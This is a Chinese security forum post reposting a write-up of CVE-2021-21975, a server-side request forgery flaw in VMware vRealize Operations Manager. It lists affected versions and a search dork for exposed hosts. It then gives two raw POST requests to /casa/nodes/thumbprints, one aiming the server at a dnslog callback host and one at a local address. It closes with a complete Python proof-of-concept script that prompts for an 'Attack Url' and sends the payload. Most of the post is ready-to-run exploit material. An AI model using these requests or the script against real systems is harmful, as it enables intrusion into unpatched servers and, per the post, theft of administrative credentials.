安全矩阵

 找回密码
 立即注册
搜索
查看: 2287|回复: 0

VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-4-1 22:32:44 | 显示全部楼层 |阅读模式
原文链接:VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975


一、漏洞描述

vRealize Operations Manager API包含服务器端请求伪造。可以通过网络访问vRealize Operations Manager API的恶意攻击者可以执行服务器端请求伪造攻击(SSRF),以窃取管理凭据。

二、漏洞影响

vRealize_operations_manager: 8.0.0, 8.0.1, 8.3.0, 8.1.0, 8.1.1, 8.2.0, 7.5.0
cloud_foundation: 4.x 3.x
vRealize_suite_lifecycle_manager: 8.x

三、漏洞复现

title="vRealize Operations Manager"

访问登录页面如下

发送请求包如下
  1. POST /casa/nodes/thumbprints HTTP/1.1
  2. Host: xxx.xxx.xxx.xxx
  3. Content-Type: application/json;charset=UTF-8
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Content-Length: 24


  7. ["eheeyd.dnslog.cn"]
复制代码



  1. POST /casa/nodes/thumbprints HTTP/1.1
  2. Host: xxx.xxx.xxx.xxx
  3. Content-Type: application/json;charset=UTF-8
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Content-Length: 24


  7. ["127.0.0.1:443/ui"]
复制代码



四、漏洞POC

  1. import requests
  2. import sys
  3. import random
  4. import re
  5. from requests.packages.urllib3.exceptions import InsecureRequestWarning

  6. def title():
  7.     print('+------------------------------------------')
  8.     print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
  9.     print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
  10.     print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
  11.     print('+  \033[34mVersion: VMware vRealize Operations Manager                         \033[0m')
  12.     print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
  13.     print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
  14.     print('+  \033[36mDnslog      >>> xxx.dnslog.com                                     \033[0m')
  15.     print('+------------------------------------------')

  16. def POC_1(target_url, v):
  17.     vuln_url = target_url + "/casa/nodes/thumbprints"
  18.     headers = {
  19.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  20.         "Content-Type": "application/json;charset=UTF-8"
  21.     }
  22.     data = '["{}"]'.format(Dnslog)
  23.     try:
  24.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  25.         response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=10)
  26.         if response.status_code == 200 :
  27.             print("\033[32m[o] 目标 {} 可能存在SSRF漏洞,请检查 Dnslog 响应 \033[0m".format(target_url, vuln_url))
  28.         else:
  29.             print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
  30.     except Exception as e:
  31.         print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

  32. if __name__ == '__main__':
  33.     title()
  34.     target_url = str(input("\033[35mPlease input Attack Url\nUrl    >>> \033[0m"))
  35.     Dnslog = str(input("\033[35mDnslog >>> \033[0m"))
  36.     POC_1(target_url, Dnslog)
复制代码
























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:51 , Processed in 0.027340 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表